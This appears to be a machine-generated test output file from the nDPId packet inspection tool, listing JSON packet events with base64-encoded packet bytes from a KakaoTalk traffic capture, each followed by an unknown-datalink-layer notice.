+00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":647,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":787574,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADSw4UAALwZAkG5MjzIKGFK8H5CAyJJ45L33Ed+2gBAALfvtAAABAQgKRNun6wALRSY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":647,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00797{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":648,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":788306,"pkt_caplen":366,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":366,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAV7yjEAALwb9um5MjzIKGFK8Iynl6dfwqLstaZX9gBgAKjLBAAABAQgKRNun6wACyZgXAwEAIHIBGSvKuQoOVAb2f8OyrSTGXX5gcSVJhu1xBvKGn5tVFwMBAQDDfDKT6R5ESLcYNaJUvm6z4sZAxAibOekshkoPAteaMmKGLNBfFI0vsBhyoGA1l9W6QI9cMcWUnC+nkpg3fafwrUN6TbTHyyU9M7pzES\/AOHsaACoUVMuvo1OdJRQlQqW5p8ohDjLJ3TP5RMzLIJ3LzXSc9cghnL6wk72Ln5GoBgGUqAbzKubnS+ZGYmgf1ne6hBkPT8WjORpkPgDmLE2D4MCdfIhrde2AObtIq0Mm\/e0VDJr1kDVZLUAeHfvyDBTatqyGUeCfTgr6w2BpeiJ\/sLZymTr0iT7mBaA4lxrZNZT12zt6XR1E00OVe+bifDOBBC1\/wN7hF8fLr\/\/rlPaR"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":648,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":649,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":788611,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADRKoEAAQAaV0QoYUrxuTI8y5ekjKS1plf3X8KnlgBAC9Vp5AAABAQgKAALNCUTbp+s="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":649,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00627{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":650,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":792090,"pkt_caplen":238,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":238,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAN6w4kAALwY\/5W5MjzIKGFK8H5CAyJJ45L33Ed+2gBgALen7AAABAQgKRNun6wALRSYXAwEAIPPiSITp8XC7CcKKzSGfrgIPnYWAF1M4zaXBcnSapImtFwMBAICmlEE7qP+BawOS9bLxyoVXctHZkanO0F0LNOMNpKXUXC\/Zf0F\/nDfPmisOw8GXVfCg\/9vJdclAzUcJwKpoELSAHNrntoFqKABj78hMKVH814Ai2OrPBiTbL3AA1utTngleikHiMc3Qz8mpXfn2fZa2Lug1EnH8c92mACO6KSH+6A=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":650,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":651,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":792700,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgQsOAA\/fIGAbDHDfqsHw1SapdrvzxUOetQQ8v9sOle9bMQyoJmz\/z7S7KOct6RdGjv6IUwBZ+W4qZ0jlBWq"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":651,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":652,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":794715,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTn8UAAPwb5fwoYUrxuTI8ygMgfkPcR37aSeOVngBAAwvp\/AAABAQgKAAtFVUTbp+s="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":652,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":653,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":795691,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/OxKAbDHEfqsLg1SapdpZMbFJ51lRdLJ\/VZFjYku328AV7uEQ8Nz2CfD5AUCFq+0HiK0ZbpBstnGl"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":653,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00488{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":654,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":807715,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHgAAEAAPxHbKgoYUrwByQGuLDhaBABk9XiAbE9FizvEGguGVRnwxz5Xmu78XtXGQ1Fz6DDb2XyEyVUWETVmafqljLBgIKjK6YrQbaNfHyWNhvvh5bfTdTzEAx3A3oMpxSEIFAbgQB\/becj4pySDXcTxT5wpRA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":654,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00555{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":655,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":819556,"pkt_caplen":185,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":185,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKkAAEAAHBH90QHJAa4KGFK8WgYoHACV7BuAbE8+izup2guGVRkASyewvcZSvmh6\/MVkYGE3FeXmJGMeMgnQFzdNX8uW\/ziuXcU6oBCPZ6JSBtMFm0+Za6QPLWk9URRG5c58J4GcmUpE9rg0uifsfOfc4aidWmeqb2RAyK\/BkzrBRXgSaXvE8N6W79YQgXvCsRV5zoFjDP2gAehg9BM\/ECfEMm5HL1c="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":655,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":656,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":821906,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/MLCAbDHLfqslw1SapdoiIt9\/SOSpCtKF+T3NMaj2lT\/UFCJSFJ1epUPMgJ8LyV\/OiNrbObmKlC6F"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":656,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00529{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":657,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":827491,"pkt_caplen":167,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":167,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJcAAEAAHBH94wHJAa4KGFK8WgYoHACDKl+AbE8\/izutmguGVRkdc+eSekWIV4ucp+\/tKZ8TiBXK4h6Q5N2ToGzVXqGLVG01xs8dDs56kUpgJSVGT8FWGv3srgAIYHKyVlMJtk1soHXxqDcK7WucqmBIrfR0bzoY63XniXVpP7fE3E9L7LDCHzLYCJh5Fq7MQVvtWOM="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":657,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":658,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":835578,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/HMeAbDHFfqsPQ1Sapdo03BOUdNHhNG6Bu0RyZ\/2OAdQLUfkrbW0ipNMFCguUlmbeNRHjNNzMjF2Z"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":658,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00504{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":659,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":847541,"pkt_caplen":150,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":150,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIYAAEAAHBH99AHJAa4KGFK8WgYoHAByAN+AbE9AizuxWguGVRnwAKFNWkB3nSz1k8Ihp7a4qfPpqTMbGbmoMHljOjpZBwoi2F2LhZoWDTyd9peMdXVpPzJGmCFrUnblh82SMIPpWxrVEIJrXvZl3BMzOXiTWF+zDTyfI4GB18be\/g1x"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":659,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":660,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":857764,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/kdCAbDHMfqspg1SapdryCVV0Q50Ox+P6j7rNUlcgeUJjYeIEExpvf3e+iWuh5PDH8eZkuTDLYsZF"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":660,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00625{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":661,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":862342,"pkt_caplen":238,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":238,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAN5KoUAAQAaVJgoYUrxuTI8y5ekjKS1plf3X8KnlgBgC9Ri\/AAABAQgKAALNEUTbp+sXAwEAILbxhIDCKdhRCzH4oAhnmUNSVjPdu4+4LCJK82kd928BFwMBAIBM\/sANPHgAqgK8IamEo6DNFVo5TCEfb1odeKiYcyJXfKq+doHU13nOI7vPqxaLuUw+kBx4fJ7Wd3KjWW+7jGSl1NGLNCOEawZ5A4Y3hicJAXWKkwWIrs8QIz6mzbzW0D3GRAWQ8h9fbX1fSnNnjWdjZvUyqv3GuyXi+5Wcpg2KDQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":661,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":662,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":863440,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/YDCAbDHGfqsTA1SapdpJiLDNoY2YGjlSgR7wmQLHT0BNhUmxJA+5wJYlJXwUMdRRQCncn8W4t6SW"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":662,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":663,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":879431,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/8sOAbDHHfqsWw1SapdpXYk9WdhvCO1ZozwcbfNOLiNdQQxIfpcVf+0OmY\/hKQo4z3XvxiZ0iMU3i"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":663,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":664,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":895392,"pkt_caplen":153,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":153,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIkAAEAAHBH98QHJAa4KGFK8WgYoHAB1E4qAbE9Bizu1GguGVRl9gmwLg3mkL5Rm7yOOMCTWDl3lDgy3vfyTrcycD73lJcCe1f4CwZBvyfnrAjJ\/gCRT9FupPhRzkZDFcW0iZfjGMms38Rk5aoWp8rVucB7q4YO+x\/JVOTSHkR\/ppTMJOYXI"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":664,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":665,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":907691,"pkt_caplen":133,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":133,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHUAAEAAPxHbLQoYUrwByQGuLDhaBABh9BqAbE9GizvH2guGVRl8q9qQB4iZec0J+v4v1i9EMXzfKZCW84c0o6mxnwc3bssfqqaHDAkDExabNW5fjuZtPBM5vvevEglYbpjOmqhwKp1mjdISkVIDIb2b9A=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":665,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00488{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":666,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":908576,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHgAAEAAPxHbKgoYUrwByQGuLDhaBABkMdGAbE9HizvLmguGVRlooz7kOJTyNwU1euQqUWss\/ZjRzS+Nm8oENz+bqqC8cxiB3FKAJKt8JzwxYRxlh4UqAFR7Gb8tKiGnz9jodv9yzvgBH0+fo3oDHdlrfpZX9w=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":666,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00574{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":667,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":919440,"pkt_caplen":196,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":196,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALQAAEAAHBH9xgHJAa4KGFK8WgYoHACgcfKAbE9Cizu42guGVRlbwUwiYVa0o1z4BBkLM\/EITvfPun\/n4ZLZ4VlNEkPMH5gA+j5veqi85bIYmaoTmqTyCRLBhf7yMHv0C51U1AlcbZ6rlWVjQQxkZjw0S1hx3\/LMkvx6\/s4MCbAKApGcqt7k+MoQYHicQAOId1Y1I7\/aiQaVbzAkuhuT\/0RY\/uvPLgt1NGkcIOO50H0hUw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":667,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":668,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":937842,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/lFaAbDHNfqstQ1Sapdq49n+4NgznfaPHTZvyERm1AP6JhU3KNKSYA1FCg7hqRU2VZK3LXpAdpbZF"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":668,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00800{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":669,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":939459,"pkt_caplen":366,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":366,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAV6w40AALwY\/ZG5MjzIKGFK8H5CAyJJ45Wf3Ed+2gBgALVjDAAABAQgKRNuoiwALRVUXAwEAIIBlC1wMHi+1TkuDu84ABASwXjnHfo\/wQbPLls8I\/a9eFwMBAQAtJXr05TvCQsqmpRiD9rN5\/5UqG4j3ZjOYmX\/9R3j1mk6Ccq13\/raHq1J4pwiuRWYELcEel2ljVu5etpDPx5Zq6IBX6psZGP0zlNngxgD8wgF6s9LC6UUYQV4ftfiw2fTVJZ1cXgKot0+jZS0bmXAy0ZJrrKOH+OBPHjxA8Tp54dh7cdhD25GVAV37lNCn1cSgUPKuqiOQOyKmoaxIaElD3qdWgqlPLs4yl7awzyp2q5HhugY5IQR2r\/1SmrylCqPd0Wpm\/5Lvf1JMT15BXsDvOSkNv0blnQO8lgUbxw8oMFDwtAoO4fOegRcn7CHn1FZfU9vTjLhAancvKc\/OmLex"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":669,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":670,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":941809,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTn8kAAPwb5fgoYUrxuTI8ygMgfkPcR37aSeOaRgBAA0PiYAAABAQgKAAtFZETbqIs="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":670,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00626{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":671,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":944373,"pkt_caplen":238,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":238,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAN7n80AAPwb40woYUrxuTI8ygMgfkPcR37aSeOaRgBgA0E2aAAABAQgKAAtFZETbqIsXAwEAINWiqX52zUchfJWZ3iawQbVAmaEUWwAsbjgBg7R0svLxFwMBAIB\/fnSyda6o\/YAkz7pZyWmImbNglNsICFJqFPRvCUYshxLwnlh+IUuda7HDF9h2ydXoBiwFkb2Kteusu9HQsFTfDLUdyTy0qZbXQa8UNfUpoMZzKvjBJ3T9LsqvjqWt+f260I\/mFpq0TF4mUhrhFXV19lNWwil8SLeFHtAytpWo1Q=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":671,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":672,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069179,"pkt_ts_usec":987647,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/DpKAbDHIfqsag1Sapdq1mhYAF91M9GjjyaKGfzUpcsHZLho8McAgb0L31kxvx1IlVyPpUH3hgADU"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":672,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":673,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":2387,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/EP6AbDHOfqsxA1SapdqOjPc+ZMvKA+6DyLUUBGVVLs36vbmfyG\/pUtzWswOrjQf\/rR8ia+l6pB2V"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":673,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00463{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":674,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":9192,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGgAAEAAPxHbOgoYUrwByQGuLDhaBABUtDWAbE9IizvPWguGVRnv\/JV9Cu+4DU8pgpXodtXckkbMgyZ35e5ll\/oomn2v1ErMlI2gYVx0b9s6duUVmLlHvHQEGh7IlMSFoLDjRgCQ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":674,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00466{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":675,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":9375,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGkAAEAAPxHbOQoYUrwByQGuLDhaBABVktWAbE9JizvTGguGVRmI5vKhBood2qpg+sqGW6ZOQJNwy2TKbB7Do\/OSrEBp1mzWPO6c4HzBoT45R1Al+7HQgUJF44mbpvYSRChpyyAh9g=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":675,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":676,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":42304,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/QZeAbDHPfqs0w1Sapdp8aYNuberm4yiEG\/25wYv+7cW0HXwRJp8gU8jMg6nUhsWAKJ0GQOvd50NP"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":676,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00472{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":677,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":111670,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGwAAEAAPxHbNgoYUrwByQGuLDhaBABYOiyAbE9KizvW2guGVRldh6NKjz8fQJoHUSRdwNo0WC0qCVB0RxqwIikuHtvJa5BP1fX\/56u+Q21v4ovWwVP143wQ0UkpQyiwH1fiJseeRkznTQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":677,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":678,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":139563,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ZvqAbDHQfqs4g1SapdoTirYnQoiPFm7YuF5+OsorL7DoNXyCME2i+GWHHmnJgUn8djGtHJn7L9Nb"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":678,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 